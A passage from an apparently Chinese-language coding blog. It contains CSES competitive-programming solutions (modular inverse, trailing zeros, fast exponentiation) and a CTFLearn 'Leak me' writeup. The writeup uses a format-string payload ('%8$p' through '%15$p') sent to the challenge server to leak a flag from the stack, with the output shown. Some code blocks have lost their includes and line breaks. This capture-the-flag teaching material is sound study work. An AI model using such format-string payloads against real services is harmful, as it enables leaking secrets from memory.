ㄟ，那不就把 $r=a-bq$ 代入再移項，就能整理成 $ax+by=k$ 的樣子了嗎？(注意， $q$ 是已知數，為 $\lfloor\frac{a}{b}\rfloor$ )如下

$k=bx^\prime+ry^\prime=bx^\prime+(a-bq)y^\prime=ay^\prime+b(x^\prime-qy^\prime)$

所以我們只要知道 $x^\prime, y^\prime$ ，就能知道 $x=y^\prime, y=x^\prime-qy^\prime$ ，其中 $q=\lfloor\frac{a}{b}\rfloor$
那我們怎麼求出 $x^\prime, y^\prime$ 呢？沒錯，用擴展歐幾里得演算法。(所以說是遞迴嘛)

欲遞迴，我們記得處理base case，函式才停得下來。最簡單的base case即當 $b=0$ ，返回 $(x,y)=(1,0)$ 。
(因為輾轉相除法會一直做到整除，也就是最後一個 $r=0$ 為止)

以下程式：

#includeusing namespace std;#define ll long longtuple<ll, ll, ll> exgcd(ll a, ll b){  if(b==0) return {a, 1, 0};  auto [gcd, x1, y1] = exgcd(b, a%b);  ll x = y1;  ll y = x1 - (a/b)*y1;  return {gcd, x, y};}

好，但這跟我們求模反元素有什麼關係呢？請看以下：
因為 $a,M$ 互質，我們可以用擴展歐幾里得演算法求出 $x,y\in\Z$ 使得

$ax+My=1\Rightarrow ax=1-My$

兩邊同時模 $M$ ，瞬間得到 $x$ 即我們要找的模反元素。

ll invert(ll a, ll m){  auto [gcd, x, y] = exgcd(a, m);  if (gcd != 1) throw invalid_argument("Does not exist."); // a, m互質才有模反元素  return (x%m + m)%m;}

AC Code

好耶！我們將以上全部組合起來，得到以下：

#includeusing namespace std;#define ll long longconst int M = 1e9 + 7;tuple<ll, ll, ll> exgcd(ll a, ll b){  if(b==0) return {a, 1, 0};  auto [gcd, x1, y1] = exgcd(b, a%b);  ll x = y1;  ll y = x1 - (a/b)*y1;  return {gcd, x, y};}ll invert(ll a, ll m){  auto [gcd, x, y] = exgcd(a, m);  if (gcd != 1) throw invalid_argument("Does not exist.");  return (x%m + m)%m;}int main(){  ios::sync_with_stdio(0), cin.tie(0); // IO加速  int n;  cin >> n;  if(n % 2 == 1){cout << 0; return 0;}  n /= 2;  ll den=1; // 分母  ll num=1; // 分子  for(int i=1;i<=n;i++) den = (den*i)%M;  for(int i=n+2;i<=2*n;i++) num = (num*i)%M;  cout << invert(den, M)*num % M;}

AC！收工！

CSES Trailing Zeros 題解

2026-06-01T10:19:36.000Z

題目

Time limit: 1.00 s
Memory limit: 512 MB

Your task is to calculate the number of trailing zeros in the factorial n!.
For example, $20!=2432902008176640000$ and it has $4$ trailing zeros.

Input	Output
The only input line has an integer $n$ .	Print the number of trailing zeros in $n!$ .

Constraints

$1 \le n \le 10^9$

Example:

Input	Output
20	4

解法

分析

這題十分經典，是要求 $n!$ 尾部有幾個 $0$ 。
注意到 $n!$ 尾部 $0$ 的個數 $=$ 滿足 $10^k | n!$ 的 $k$ 的最大值(也就是 $n!$ 能被 $10$ 整除幾次) $=n!$ 的質因數分解中 $5$ 的次方數(因為 $10=2\cdot 5$ ，而又顯然 $n!$ 的質因數分解中 $5$ 的次數會比 $2$ 來的少)

接著， $n!$ 的質因數分解中 $5$ 的次數即為 $1$ ~ $n$ 中每個數個別被 $5$ 整除的次數之和。
$1$ ~ $n$ 中，

被 $5$ 整除的數有 $\lfloor\frac{n}{5}\rfloor$ 個
被 $5^2$ 整除的數有 $\lfloor\frac{n}{5^2}\rfloor$ 個
被 $5^3$ 整除的數有 $\lfloor\frac{n}{5^3}\rfloor$ 個
等等，於是所求即

$\lfloor\frac{n}{5}\rfloor+\lfloor\frac{n}{5^2}\rfloor+\lfloor\frac{n}{5^3}\rfloor+\cdots=\sum\limits_{k=1}^\infty\lfloor\frac{n}{5^k}\rfloor$

此即勒讓德定理(Legendre’s Theorem)：

$\nu_{p}(n!)=\sum\limits_{k=1}^\infty\lfloor\frac{n}{p^k}\rfloor$

其中 $\nu_p(x)$ 表示滿足 $p^k|x$ 的最大正整數 $k$ (即 $x$ 被 $p$ 整除幾次)

在計算時，我們可以用以下性質簡化計算：

$\lfloor \frac{x}{ab} \rfloor=\lfloor \frac{\lfloor \frac{x}{a}\rfloor}{b} \rfloor$

AC Code

#includeusing namespace std;int main(){  int n;  cin >> n;  int z = n, ans = 0;  while(z != 0){    z /= 5;    ans += z;  }  cout << ans;}

很簡單吧~

CSES Exponentiation II 題解

2026-05-31T14:37:40.000Z

本題會用到上次在CSES Exponentiation 題解 | R3X’s Blog講到的東西，並假設讀者都已看過。

題目

Time limit: 1.00 s
Memory limit: 512 MB

Your task is to efficiently calculate values $a^{b^c}$ modulo $10^9+7$ .
Note that in this task we assume that $0^0=1$ .

Input	Output
The first input line contains an integer $n$ : the number of calculations. After this, there are $n$ lines, each containing three integers $a, b$ and $c$ .	Print each value $a^{b^c}$ modulo $10^9+7$ .

Constraints

$1 \le n \le 2 \cdot 10^5$
$0 \le a,b,c \le 10^9$

Example:

Input	Output
3 3 7 1 15 2 2 3 4 5	2187 50625 763327764

解法

這題跟前一題差不多，我們只要額外想如何處裡 $a$ 上面的 $b^c$ 即可。因為 $M = 10^9+7$ 是質數，所以我們可以用費馬小定理，即 $a^{M-1}\equiv 1\pmod{M}$ 。於是我們只要先計算出 $t\equiv b^c \pmod{M-1}$ (這樣能有效的讓 $a$ 的指數變小)，再計算 $a^t$ 即可。指數計算則用我們上次提到的快速冪。

AC Code

#includeusing namespace std;const int M = (int)1e9 + 7;#define ll long longll fast_pow(ll base, ll exp, int m){  ll res = 1LL;  while(exp > 0){    if(exp%2==1){res = (res*base) % m;}    base = (base*base) % m;    exp /= 2;  }  return res;}int main(){  ios::sync_with_stdio(0), cin.tie(0);  ll n, a, b, c;  cin >> n;  while(n--){    cin >> a >> b >> c;    cout << fast_pow(a, fast_pow(b,c,M-1),M) << "\n";  }}

CSES Exponentiation 題解

2026-05-31T13:30:11.000Z

題目

Time limit: 1.00 s
Memory limit: 512 MB

Your task is to efficiently calculate values $a^b$ modulo $10^9+7$ .
Note that in this task we assume that $0^0=1$ .

Input	Output
The first input line contains an integer $n$ : the number of calculations. After this, there are $n$ lines, each containing two integers $a$ and $b$ .	Print each value $a^b$ modulo $10^9+7$ .

Constraints

$1 \le n \le 2 \cdot 10^5$
$0 \le a,b \le 10^9$

Example:

Input	Output
3 3 4 2 8 123 123	81 256 921450052

解法

快速冪

理論

要快速計算乘方，這題顯然就是快速冪。
我們以一個例子解釋快速冪的邏輯。假設我們要計算 $a^32$ ，我們其實不需要真的將 $a$ 做 $32$ 次乘法，而可以依序計算 $a^2$ 、 $a^4=(a^2)^2$ 、 $a^8=(a^4)^2$ 、 $a^{16}=(a^8)^2$ 、 $a^{32}=(a^{16})^2$ 。這樣可以讓指數的大小本身亦以指數增長，進而讓 $a^n$ 的時間複雜度從 $O(n)$ 降到 $O(\log n)$

對於一般(非 $2$ 的次冪)的指數 $n$ ，快速冪的邏輯如下：
欲計算 $a^n$ ，先將 $n$ 以二進位表示(這麼做是為了用指數律將 $a^n$ 拆成若干個 $a^{k_i}$ 相乘，其中每個次方 $k_i$ 都是 $2$ 的冪次，而由上我們可知 $2$ 的冪次很好算)。舉例來說，若 $n=13_{10}=1101_2$ ，則 $a^n=a^{13}=a^8a^4a^1$ 。接下來便是照我們上面說的一次把 $a^8, a^4, a^1$ 都算出來，再相乘即可。

但其實實務上我們不是這樣做的，實務上做法是：
如果指數是偶數(設 $n=2k$ )，那麼 $a^n=(a^2)^k$ ；
如果指數是奇數(設 $n=2k+1$ )，則把 $a^n$ 拆成 $aa^{2k}=a(a^2)^k$ 。
如此我們每經一次操作，指數都會變成約原先的一半。

處理模數

題目額外要求了要將答案模 $10^9+7$ ，就是因為計算過程中出現的數字和答案可能太大。但這不困難，只要將上述快速冪中每個乘法步驟都取模即可。

C++ Code

綜合以上，我們有快速冪的程式如下：

#define ll long longll fast_pow(ll base, ll exp, int m){  ll res = 1LL;  while(exp > 0){    if(exp%2==1){res = (res*base) % m;}    base = (base*base) % m;    exp /= 2;  }  return res;}

AC Code

此題的完整程式碼如下：

#includeusing namespace std;const int M = (int)1e9 + 7;#define ll long longll fast_pow(ll base, ll exp, int m){  ll res = 1LL;  while(exp > 0){    if(exp%2==1){res = (res*base) % m;}    base = (base*base) % m;    exp /= 2;  }  return res;}int main(){  ios::sync_with_stdio(0), cin.tie(0);  ll n, a, b;  cin >> n;  while(n--){    cin >> a >> b;    cout << fast_pow(a,b,M) << "\n";  }}

CTFLearn Leak me Writeup

2026-05-29T11:23:55.000Z

這份是我2025年3月試用obsidian時寫的，如今把它搬過來這裡。
排版有點亂還請見諒。

題目

題目：https://ctflearn.com/challenge/1221

原始碼解壓縮：

tar zxvf task.tar.gz

參數解釋：

-z, --gzip, --gunzip, --ungzip   filter the archive through gzip-x, --extract, --get       extract files from an archive-v, --verbose              verbosely list files processed-f, --file=ARCHIVE         use archive file or device ARCHIVE

解題

task.c

#include #include int main() {    setvbuf(stdout, NULL, _IONBF, 0);    setvbuf(stdin, NULL, _IONBF, 0);    char flag[64], buffer[64];    FILE *f = fopen("./flag.txt", "rt");    if (f == NULL) {        puts("No flag.txt found, contact an admin");        return 1;    }    fgets(flag, 64, f);    fclose(f);    printf("What is your favorite format tag? ");    fgets(buffer, sizeof(buffer), stdin);    printf(buffer);    return 0;}

程式碼解析

setvbuf

setvbuf(stdout, NULL, _IONBF, 0);setvbuf(stdin, NULL, _IONBF, 0);

在 stdio.h 裡面
此二句代表將緩衝模式設為無緩衝

setvbuf 用來設定I/O緩衝模式與緩衝區大小，語法如下：

#include int setvbuf(FILE *stream, char *buffer, int mode, size_t size);

參數說明

參數	說明
`stream`	指定要設定的檔案指標，例如 `stdin`、`stdout`、`stderr` 或 `fopen()` 打開的檔案
`buffer`	指定自訂緩衝區的位址，若為 `NULL` 則使用系統預設緩衝區
`mode`	設定緩衝模式，包含 `_IOFBF`（全緩衝）、`_IOLBF`（行緩衝）、`_IONBF`（無緩衝）
`size`	指定緩衝區大小，只有 `_IOFBF` 和 `_IOLBF` 模式會用到。允許的範圍：2 $\leq$ `size`就內部而言，針對 `size` 提供的值會向下捨入為最近的 2 倍數。

緩衝模式

`mode`	代表意義
`_IOFBF`	全緩衝（fully buffered），當緩衝區滿時才進行 I/O 操作，適用於檔案。遇到`fflush(stdout);`則強制輸出。
`_IOLBF`	行緩衝（line buffered），遇到換行 (`\n`) 或緩衝區滿時才進行 I/O 操作，適用於終端機。
`_IONBF`	無緩衝（no buffering），每次 I/O 操作都會立即執行，不使用緩衝區。

範例

自訂輸出緩衝區：_IOFBF

#include int main() {    char buffer[1024];  // 自訂 1024 bytes 的緩衝區    setvbuf(stdout, buffer, _IOFBF, sizeof(buffer));  // 設定為全緩衝模式    printf("這是一段測試文字 ");    printf("這些內容會暫存到 buffer ");    fflush(stdout);  // 強制將 buffer 內容輸出    return 0;}

📌 這段程式碼將 stdout 設定為「全緩衝」，所以 printf() 的輸出不會馬上出現在螢幕上，
直到 fflush(stdout); 才會強制輸出。

回傳值

成功時 回傳 0
失敗時 回傳非 0 值，表示設定失敗
使用 setvbuf() 的時機

使用時機	適用模式	說明
即時輸出（遊戲、CLI 應用）	`_IONBF`	確保 `printf()` 立即顯示，不會延遲
減少 I/O 操作（大量寫入檔案）	`_IOFBF`	減少磁碟 I/O 次數，提高效能
適用終端機輸出	`_IOLBF`	遇到換行 (`\n`) 再輸出，適合日誌記錄
自訂緩衝區大小	`_IOFBF` 或 `_IOLBF`	控制 `setvbuf()` 的 `buffer` 和 `size` 參數，提升效能

注意事項

setvbuf() 必須在任何 I/O 操作之前調用
一旦對 stream 進行 I/O 操作（如 printf()、fscanf()），就不能再使用 setvbuf()，否則行為未定。
_IONBF 會影響效能

適用於即時輸出（如遊戲、命令列程式）
但頻繁呼叫 I/O 操作（如寫入檔案）可能會降低效能

某些平台的 stderr 預設為 _IONBF

這確保錯誤訊息能立即顯示，不會因緩衝而延遲。

緩衝區大小 size 只對 _IOFBF 和 _IOLBF 有影響

_IONBF 會忽略 size 參數。

fgets

在stdio.h裡面

用途：讀取字串

fgets(flag, 64, f);

和

fgets(buffer, sizeof(buffer), stdin);

fgets() 是 C 語言中 讀取字串輸入 的函數，它比 scanf() 更安全，因為可以限制讀取的字元數，防止緩衝區溢位（buffer overflow），語法如下
```
#include char *fgets(char *str, int size, FILE *stream);
```
參數說明

參數	說明
`str`	指向存放讀取字串的緩衝區（陣列）
`size`	最多讀取 `size-1` 個字元，並在最後加上 `\0`
`stream`	指定輸入來源，例如 `stdin`（鍵盤）或 `fopen()` 打開的檔案

回傳值

成功時：回傳 str 的位址（指向存入的字串）。
讀取到 EOF（檔案結束）或錯誤時：回傳 NULL。
fgets() 的特點
✅ 可讀取含空格的字串（不像 scanf("%s", str) 只讀取單詞）。
✅ 安全性較高，因為不會超過指定大小，防止 buffer overflow。
❌ 會保留換行符 \n（如果緩衝區足夠大）。
❌ 不能直接讀取數字（需要用 sscanf() 或 atoi() 轉換）。

基本範例

從標準輸入讀取字串

#include int main() {    char name[50];    printf("請輸入你的名字: ");    fgets(name, sizeof(name), stdin);    printf("Hello, %s", name);  // `name` 可能包含 `\n`    return 0;}

📌 輸入 Alice，輸出可能是：

請輸入你的名字: AliceHello, Alice

📌 輸入 Alice Smith，輸出仍然正確（因為 fgets() 讀取整行）：

請輸入你的名字: Alice SmithHello, Alice Smith

`fgets()` vs `scanf()`

函式	輸入	**輸出 (`printf("%s", str)`)	備註
`scanf("%s", str)`	`Alice Smith`	`Alice`	只讀到 `Alice`，空格後的內容被忽略
`fgets(str, 50, stdin)`	`Alice Smith`	`Alice Smith\n`	讀到整行，包含空格和 `\n`

解題關鍵

由程式碼看出我們要的東西就在裡 flag 裡(已經在stack裡了)
而程式最終程式 printf(buffer)，有格式化字串的漏洞
因此要想辦法在前一行

fgets(buffer, sizeof(buffer), stdin);

藉由適當輸入，想辦法讓他輸出flag內容

格式化字串攻擊(Format String Attack)

程式將用戶輸入作為格式字串，攻擊者便能通過插入特定的格式化符號來讀取敏感資料甚至覆寫記憶體。

Parameters	Output	Passed as
%%	% character (literal)	Reference
%p	External representation of a pointer to void	Reference
%d	Decimal	Value
%c	Character
%u	Unsigned decimal	Value
%x	Hexadecimal	Value
%s	String	Reference
%n	Writes the number of characters into a pointer	Reference

HINT: The buffer and the flag take 64byte for each, so 8byte at each address means you have 8 address start from 0 to 7 : the buffer, then 8 to 15 : the flag. (search of String format vuln)

nc rivit.dev 10003

如提示，我們的flag在8到15個位置，
輸入：

%8$p %9$p %10$p %11$p %12$p %13$p %14$p %15$p

獲得輸出：

0x6e7261656c465443 0x5f336b316c5f317b 0x745f74346d723066 0x7d3030745f356734 0x1000a 0x7ffd48095e38 0x3100000017 (nil)

丟到Cyberchef
得到輸出

nraelFTC_3k1l_1{t_t4mr0f}00t_5g4

將每八個字分成一組，接著各小組反轉，得到

CTFlearn{1_l1k3_f0rm4t_t4g5_t00}

就是flag。

需要反轉是因為資料是以little‑endian儲存的，也就是把最高位的位元組放在最高的記憶體位址上
圖片出處

不能用%x，不然中間四個字會不見，如abcdefghjklm只會解出dcbamlkj
我還不知道原理

R3X's Blog

HTB - Global Hyperlink Zone Writeup

Junior.Crypt.2026 CTF Writeup

前言

Misc

Ghost Layers

Invisible Editor

Crypto

Aperture Science: Stream Calibration

Aperture Science: Still Alive

Web

Pulse

Wrodle

Forensics

Invoice Without A Bank

Prompt And Pretext

AI

Pickles

基礎量子演算法與應用 | 2026 高中量子計算暑期營筆記

基本的量子力學

古典物理告訴我們的事情

Bra-Ket

Bloch Sphere

Stern-Gerlach 實驗

量子力學 4 大公設

Unitary Matrix

Tensor product

CHSH game

古典策略

量子策略

薛丁格方程式

猜出方程式

量子計算基礎

量子邏輯閘

CSES Counting Bits 題解

題目

解法

憶起高中數學

細說本題

程式碼

AIS3 好厲駭 - Cloud Security 筆記

pwnable.tw - orw Writeup

Challenge description

Inspection

file

checksec

seccomp-tools

Decompile

Solving

pwnable.kr - fd Writeup

Challenge Description

Solution

數字狼人殺：一道結合「實話謊話判斷」與「和與積問題」的精彩自編邏輯題

數字狼人殺

題目敘述

簡答

2026 APMOC 心得

初選第一階段

初選第二階段

APMOC

前一天

第一天

第二天

第三天

CSES - Counting Divisors 題解

題目

解法一：暴力的一個一個判斷是不是因數

AC Code

複雜度

時間複雜度

空間複雜度

解法二：依序把1~N的倍數的因數個數加一

AC Code

複雜度

時間複雜度

空間複雜度

解法三：建質數表，再用標準分解式求因數個數

作法

質數表：埃拉托斯特尼篩法

νp(x)\nu_p(x)νp​(x)

$\nu_p(x)$

`divnum`